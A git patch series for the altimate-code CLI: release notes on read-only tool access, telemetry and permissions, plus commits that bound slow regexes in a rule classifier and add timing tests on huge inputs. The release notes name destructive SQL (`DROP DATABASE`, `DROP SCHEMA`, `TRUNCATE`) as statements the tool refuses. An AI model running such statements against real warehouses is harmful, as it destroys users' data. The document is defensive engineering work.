what people teach the agent can become a team rule: they confirm it on a card, the workspace owner reviews it, and approved rules reach every teammate's sessions. Also in this release: `auth logout` removes the saved Altimate gateway key, the analyst stays read-only whatever config grants, and the home screen suggests the Claude Code and Codex plugins. +**Claude Code and other coding agents can call altimate-code's data tools directly.** `altimate-code mcp serve` and the new model-free `altimate-code tool` CLI run the same tools without a second model: reads by default, writes only with `--allow-write` (over MCP, `warehouse_add` can save a connection without it). In projects linked to a workspace, what people teach the agent can become a team rule: they confirm it on a card, the workspace owner reviews it, and approved rules reach every teammate's sessions. Also in this release: `auth logout` removes the saved Altimate gateway key, the analyst stays read-only whatever config grants, and the home screen suggests the Claude Code and Codex plugins. **Heads-up for support:** - **MCP and `tool run` requests are read-only unless `--allow-write`.** The database enforces read-only on PostgreSQL, SQLite and DuckDB; on other warehouses it rests on SQL classification, so stored functions with side effects are not blocked. `DROP DATABASE`, `DROP SCHEMA` and `TRUNCATE` are refused even with `--allow-write`, but that block also reads the SQL text and is best effort. Use a read-only database user for a hard guarantee. `--allow-write` is all or nothing, and statements such as `SET`, `ATTACH`, `COPY ... TO`, `INSTALL` and DuckDB `SUMMARIZE` count as writes. - **`mcp serve` allows `warehouse_add` without `--allow-write`**, so a calling agent can save a connection; `tool run` needs `--allow-write` for it. Tool results, including query rows and sample values, go to the calling agent's model provider. Large results are spilled to private local files. -- **`tool` commands start a per-project background process** that keeps connections warm and exits after 10 idle minutes. +- **`tool run` starts a per-project background process** that keeps connections warm and exits after 10 idle minutes. `--no-daemon` runs a call in its own process, and `ALTIMATE_TOOL_DAEMON=0` turns the background process off. - **Workspace skill syncs can write copies into `/.claude/skills/`** when `ALTIMATE_CLAUDE_SKILL_SYNC=1` is set, which the Claude Code plugin does. Skills you wrote with the same name are never touched; unlinking or signing out removes the copies. - **`schema_inspect` without a table** lists schemas, or up to 500 tables with catalog row estimates, instead of scanning. - **`learn status` prints `Learning from sessions: on|off (source)`** where it printed `Capture:`, and learn messages say "rule" where they said "lesson". The JSON output only gains a `rules` block. - **In a linked project, `training_save` with `kind: "rule"` shows a proposal card** instead of writing training, and `learn bootstrap` / `learn import-reviews` send what they find for review. - **Telemetry carries the signed-in user ID and tenant** when the machine is signed in to Altimate, so those events are not anonymous; no email address, hashed or not, is sent. One `GET /users/me` lookup per credential finds them, and none is made while telemetry is off. Rows from machines that are not signed in keep the machine id. Turning telemetry off sends one final `telemetry_opted_out` event (machine id and opt-out source only), then nothing. -- **The analyst's write tools stay off whatever config grants**, including `"*": "allow"`: file edits, SQL writes, memory saves, shell and delegation. Configs that relied on a grant to give the analyst more power will see those tools denied. `task` from the analyst is limited to `data-explorer`; MCP and custom tools still follow config. +- **The analyst's built-in write tools stay off whatever config grants**, including `"*": "allow"`: file edits, SQL writes, memory saves, shell and delegation. Configs that relied on a grant to give the analyst more power will see those tools denied. `task` from the analyst is limited to `data-explorer`; MCP and custom tools still follow config. - **A symlink inside an allowed external folder that points elsewhere now asks** for the folder it points to, for every agent. - **`auth logout` removes the saved gateway key**, `~/.altimate/altimate.json`, MCP server entries that carry that key (add the datamate again after signing in), and the cached telemetry identity. - **Ctrl+C during browser sign-in exits with status 130**, not 0. diff --git a/docs/mcp-workspaces.md b/docs/mcp-workspaces.md index 8ed8700482..f0bd32ab30 100644 --- a/docs/mcp-workspaces.md +++ b/docs/mcp-workspaces.md @@ -18,7 +18,7 @@ These commands output JSON. A context receipt binds account, workspace and proje Workspace context adds bounded data to a client's prompt; skills load on demand. Explicit knowledge calls can use backend models, memory publication can invoke the existing backend extractor, and warehouse calls retain warehouse costs. There is no new reasoning agent or per-row model loop. A CLI link can normally backfill existing memory; clients that expose linking without a backfill confirmation must disable memory for that subprocess, as the Claude plugin does. Do not pass `--yes` unless replacing a link was explicitly requested. -Verification covers unit contracts, a real stdio protocol fixture and existing SQLite MCP behavior. +Verification covers unit contracts, a real stdio protocol fixture and existing SQLite MCP behavior. A non-empty cloud memory round trip and real workspace-engine SQL and knowledge calls are not covered by tests yet. ## Automatic-client setup and stable gateway diff --git a/packages/opencode/src/altimate/rules/classify.ts b/packages/opencode/src/altimate/rules/classify.ts index 84b1b3c398..8bab5252d4 100644 --- a/packages/opencode/src/altimate/rules/classify.ts +++ b/packages/opencode/src/altimate/rules/classify.ts @@ -41,11 +41,11 @@ const RULE_CUES: readonly [RegExp, string][] = [ [/\b(?:name|prefix|suffix|alias)\s+\S+(?:\s+\S+)?\s+(?:as|with|like)\b/i, "a naming convention"], ] -// The cues are read from the start of the text: some patterns backtrack, and a request to remember is short. +// A request to remember is short, and some of the patterns backtrack: a longer text is left to the person to choose. const MAX_CLASSIFIED_CHARS = 2000 -export function classify(input: string): { kind: Kind; cue?: string } { - const text = input.slice(0, MAX_CLASSIFIED_CHARS) +export function classify(text: string): { kind: Kind; cue?: string } { + if (text.length > MAX_CLASSIFIED_CHARS) return { kind: "ambiguous" } if (ASKED_RULE.test(text)) return { kind: "rule", cue: "asked for a rule" } if (ASKED_MEMORY.test(text)) return { kind: "memory", cue: "asked to remember it for themselves" } const memory = MEMORY_CUES.find(([pattern]) => pattern.test(text)) diff --git a/packages/opencode/src/cli/cmd/tool.ts b/packages/opencode/src/cli/cmd/tool.ts index e067c90f98..6a4f1e31a3 100644 --- a/packages/opencode/src/cli/cmd/tool.ts +++ b/packages/opencode/src/cli/cmd/tool.ts @@ -185,6 +185,9 @@ const ToolSchemaCommand = cmd({ }, }) +// The messages an argument problem produces: invalid JSON, a non-object, a schema mismatch (built-in or workspace tool). +const ARGUMENT_ERROR = /^(?:Tool arguments |The \S+ tool was called with invalid arguments|Arguments do not match the workspace operation schema)/ + const ToolRunCommand = cmd({ command: "run ", describe: "run one data tool without a model and print its result", @@ -227,7 +230,7 @@ const ToolRunCommand = cmd({ result = { status: "error", title: "Tool run failed", output: error instanceof Error ? error.message : String(error), metadata: {} } } // Point to the schema only when the arguments were the problem, not for SQL, connection or permission errors. - if (result.status === "error" && /invalid arguments|Tool arguments/i.test(result.output)) + if (result.status === "error" && ARGUMENT_ERROR.test(result.output)) result = { ...result, output: `${result.output}\nInput schema: altimate-code tool schema ${name}` } if (args.json) { console.log(JSON.stringify({ status: result.status, title: result.title, output: result.output, metadata: result.metadata })) diff --git a/packages/opencode/test/skill/release-v0.12.9-adversarial.test.ts b/packages/opencode/test/skill/release-v0.12.9-adversarial.test.ts index 640639a363..3d83537c11 100644 --- a/packages/opencode/test/skill/release-v0.12.9-adversarial.test.ts +++ b/packages/opencode/test/skill/release-v0.12.9-adversarial.test.ts @@ -229,7 +229,7 @@ describe("v0.12.9 adversarial: classifier degenerate input", () => { expect(classifyAndCheck(longList)).toMatchObject({ queryType: "read", blocked: false }) expect(classifyAndCheck(hugeComment)).toMatchObject({ queryType: "write", blocked: true }) expect(classifyAndCheck(hugeLiteral)).toMatchObject({ queryType: "read", blocked: false }) - expect(performance.now() - started).toBeLessThan(6_000) + expect(performance.now() - started).toBeLessThan(15_000) }) }) @@ -482,10 +482,11 @@ describe("v0.12.9 adversarial: rule classify", () => { expect(classifyRule(text), text).toEqual({ kind: "ambiguous" }) }) - test("a long run of 'remember' stays fast, since only the start of the text is read", () => { + test("a text past the length cap is ambiguous at once, even with an explicit choice at its end", () => { const start = performance.now() - expect(classifyRule("remember ".repeat(50_000) + "always").kind).toBe("ambiguous") - expect(performance.now() - start).toBeLessThan(2000) + expect(classifyRule("remember ".repeat(50_000) + "always")).toEqual({ kind: "ambiguous" }) + expect(classifyRule("x ".repeat(1_500) + "save this as a team rule")).toEqual({ kind: "ambiguous" }) + expect(performance.now() - start).toBeLessThan(15_000) }) test("cues across lines are still found", () => { From b0ec85a273cf48180513a1ed3ab5a8de6f346a3e Mon Sep 17 00:00:00 2001 From: Haider Date: Wed, 4 Nov 2026 02:37:17 +0530 Subject: [PATCH 5/7] fix: bound the rule classifier's slow patterns instead of capping its input - the clause scan after "remember" and the rule-cue lookahead are bounded, so long texts are classified whole and stay fast; the length cap changed what callers read from a long message - the `tool schema` hint also covers a missing workspace skill name or SQL field Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01XM3J9mB75wZRnzTSGcW2kc --- packages/opencode/src/altimate/rules/classify.ts | 11 ++++------- packages/opencode/src/cli/cmd/tool.ts | 2 +- .../test/skill/release-v0.12.9-adversarial.test.ts | 9 +++++---- 3 files changed, 10 insertions(+), 12 deletions(-) diff --git a/packages/opencode/src/altimate/rules/classify.ts b/packages/opencode/src/altimate/rules/classify.ts index 8bab5252d4..903283bd6d 100644 --- a/packages/opencode/src/altimate/rules/classify.ts +++ b/packages/opencode/src/altimate/rules/classify.ts @@ -17,8 +17,9 @@ export type Kind = "rule" | "memory" | "ambiguous" const ASKED_RULE = /\bas\s+a\s+(?:team\s+)?rule\b/i // Only the named forms: a bare "for me" opens ordinary requests ("fix this model for me"), and "in memory" describes // data ("never load the fact table in memory"). "Just for me" always names a personal scope; "remember … for me" only -// within one clause, so a later "for me" does not turn a team instruction into a memory. -const ASKED_MEMORY = /\bas\s+a\s+memory\b|\bin\s+my\s+memory\b|\bjust\s+for\s+me\b|\bremember\b[^.!?\n,;:]*\bfor\s+me\b/i +// within one clause, so a later "for me" does not turn a team instruction into a memory. The clause scan is bounded: +// unbounded, every "remember" rescans to the clause end, and a long text takes seconds. +const ASKED_MEMORY = /\bas\s+a\s+memory\b|\bin\s+my\s+memory\b|\bjust\s+for\s+me\b|\bremember\b[^.!?\n,;:]{0,300}\bfor\s+me\b/i // "I want …" / "I like …" open many ordinary requests ("I want staging models in models/staging"): on its own // that is not enough to file a team convention as a personal memory, so it only makes the text ambiguous. @@ -27,7 +28,7 @@ const WEAK_MEMORY = /\bi\s+(?:like|want)\b/i const MEMORY_CUES: readonly [RegExp, string][] = [ [/\bi\s+(?:prefer|usually|tend to)\b/i, "a personal preference"], [/\bmy\s+(?:preference|style|default|setup|machine|laptop)\b/i, "a personal preference"], - [/\bremember\s+(?:that|our|the)\b(?!.*\b(?:always|never|must)\b)/i, "a fact to remember"], + [/\bremember\s+(?:that|our|the)\b(?!.{0,2000}\b(?:always|never|must)\b)/i, "a fact to remember"], [/\b(?:our|the)\s+(?:warehouse|database|account|cluster|stack|region|team|company|org)\s+(?:is|uses|runs|lives)\b/i, "a fact about the environment"], [/\b[A-Z]{2,}\s+(?:means|stands for|is short for)\b|\bmeans\b.*\b(?:revenue|users?|customers?|metric)\b/, "a glossary term"], ] @@ -41,11 +42,7 @@ const RULE_CUES: readonly [RegExp, string][] = [ [/\b(?:name|prefix|suffix|alias)\s+\S+(?:\s+\S+)?\s+(?:as|with|like)\b/i, "a naming convention"], ] -// A request to remember is short, and some of the patterns backtrack: a longer text is left to the person to choose. -const MAX_CLASSIFIED_CHARS = 2000 - export function classify(text: string): { kind: Kind; cue?: string } { - if (text.length > MAX_CLASSIFIED_CHARS) return { kind: "ambiguous" } if (ASKED_RULE.test(text)) return { kind: "rule", cue: "asked for a rule" } if (ASKED_MEMORY.test(text)) return { kind: "memory", cue: "asked to remember it for themselves" } const memory = MEMORY_CUES.find(([pattern]) => pattern.test(text)) diff --git a/packages/opencode/src/cli/cmd/tool.ts b/packages/opencode/src/cli/cmd/tool.ts index 6a4f1e31a3..b23252b232 100644 --- a/packages/opencode/src/cli/cmd/tool.ts +++ b/packages/opencode/src/cli/cmd/tool.ts @@ -186,7 +186,7 @@ const ToolSchemaCommand = cmd({ }) // The messages an argument problem produces: invalid JSON, a non-object, a schema mismatch (built-in or workspace tool). -const ARGUMENT_ERROR = /^(?:Tool arguments |The \S+ tool was called with invalid arguments|Arguments do not match the workspace operation schema)/ +const ARGUMENT_ERROR = /^(?:Tool arguments |The \S+ tool was called with invalid arguments|Arguments do not match the workspace operation schema|A workspace skill name is required|A SQL query in \S+ is required)/ const ToolRunCommand = cmd({ command: "run ", diff --git a/packages/opencode/test/skill/release-v0.12.9-adversarial.test.ts b/packages/opencode/test/skill/release-v0.12.9-adversarial.test.ts index 3d83537c11..1fbb31be9f 100644 --- a/packages/opencode/test/skill/release-v0.12.9-adversarial.test.ts +++ b/packages/opencode/test/skill/release-v0.12.9-adversarial.test.ts @@ -482,11 +482,12 @@ describe("v0.12.9 adversarial: rule classify", () => { expect(classifyRule(text), text).toEqual({ kind: "ambiguous" }) }) - test("a text past the length cap is ambiguous at once, even with an explicit choice at its end", () => { + test("long texts are read whole and stay fast", () => { const start = performance.now() - expect(classifyRule("remember ".repeat(50_000) + "always")).toEqual({ kind: "ambiguous" }) - expect(classifyRule("x ".repeat(1_500) + "save this as a team rule")).toEqual({ kind: "ambiguous" }) - expect(performance.now() - start).toBeLessThan(15_000) + expect(classifyRule("remember ".repeat(50_000) + "always").kind).toBe("rule") + expect(classifyRule("remember that ".repeat(30_000) + "x").kind).toBe("memory") + expect(classifyRule("x ".repeat(1_500) + "save this as a team rule")).toEqual({ kind: "rule", cue: "asked for a rule" }) + expect(performance.now() - start).toBeLessThan(5_000) }) test("cues across lines are still found", () => { From f35f67c392f74beea204ca81cb00a81939f4ed3f Mon Sep 17 00:00:00 2001 From: Haider Date: Wed, 4 Nov 2026 03:22:37 +0530 Subject: [PATCH 6/7] fix: bound the rule classifier's glossary cue too The glossary cue scanned to the end of the line after every "means": 450 KB of "means " took about 29 s. It now looks 500 characters ahead, and the adversarial tests time every cue on 450 KB inputs. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01XM3J9mB75wZRnzTSGcW2kc --- packages/opencode/src/altimate/rules/classify.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/opencode/src/altimate/rules/classify.ts b/packages/opencode/src/altimate/rules/classify.ts index 903283bd6d..1435554571 100644 --- a/packages/opencode/src/altimate/rules/classify.ts +++ b/packages/opencode/src/altimate/rules/classify.ts @@ -30,7 +30,7 @@ const MEMORY_CUES: readonly [RegExp, string][] = [ [/\bmy\s+(?:preference|style|default|setup|machine|laptop)\b/i, "a personal preference"], [/\bremember\s+(?:that|our|the)\b(?!.{0,2000}\b(?:always|never|must)\b)/i, "a fact to remember"], [/\b(?:our|the)\s+(?:warehouse|database|account|cluster|stack|region|team|company|org)\s+(?:is|uses|runs|lives)\b/i, "a fact about the environment"], - [/\b[A-Z]{2,}\s+(?:means|stands for|is short for)\b|\bmeans\b.*\b(?:revenue|users?|customers?|metric)\b/, "a glossary term"], + [/\b[A-Z]{2,}\s+(?:means|stands for|is short for)\b|\bmeans\b.{0,500}\b(?:revenue|users?|customers?|metric)\b/, "a glossary term"], ] const RULE_CUES: readonly [RegExp, string][] = [ From 2428ab6bc8d56982cd23aca55d31a1939282182f Mon Sep 17 00:00:00 2001 From: Haider Date: Wed, 4 Nov 2026 03:23:04 +0530 Subject: [PATCH 7/7] test: time every rule classifier cue on 450 KB inputs Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01XM3J9mB75wZRnzTSGcW2kc --- .../test/skill/release-v0.12.9-adversarial.test.ts | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/packages/opencode/test/skill/release-v0.12.9-adversarial.test.ts b/packages/opencode/test/skill/release-v0.12.9-adversarial.test.ts index 1fbb31be9f..9c8d529ed7 100644 --- a/packages/opencode/test/skill/release-v0.12.9-adversarial.test.ts +++ b/packages/opencode/test/skill/release-v0.12.9-adversarial.test.ts @@ -490,6 +490,17 @@ describe("v0.12.9 adversarial: rule classify", () => { expect(performance.now() - start).toBeLessThan(5_000) }) + test.each(["means ", "remember ", "remember that ", "for me ", "i prefer ", "our warehouse ", "use x ", "name x ", "don't use "])( + "450 KB of %p classifies in bounded time", + (word) => { + const text = word.repeat(Math.ceil(450_000 / word.length)) + const start = performance.now() + classifyRule(text) + memoryScope(text) + expect(performance.now() - start).toBeLessThan(5_000) + }, + ) + test("cues across lines are still found", () => { expect(classifyRule("Staging models:\n\nalways prefix with stg_").kind).toBe("rule") })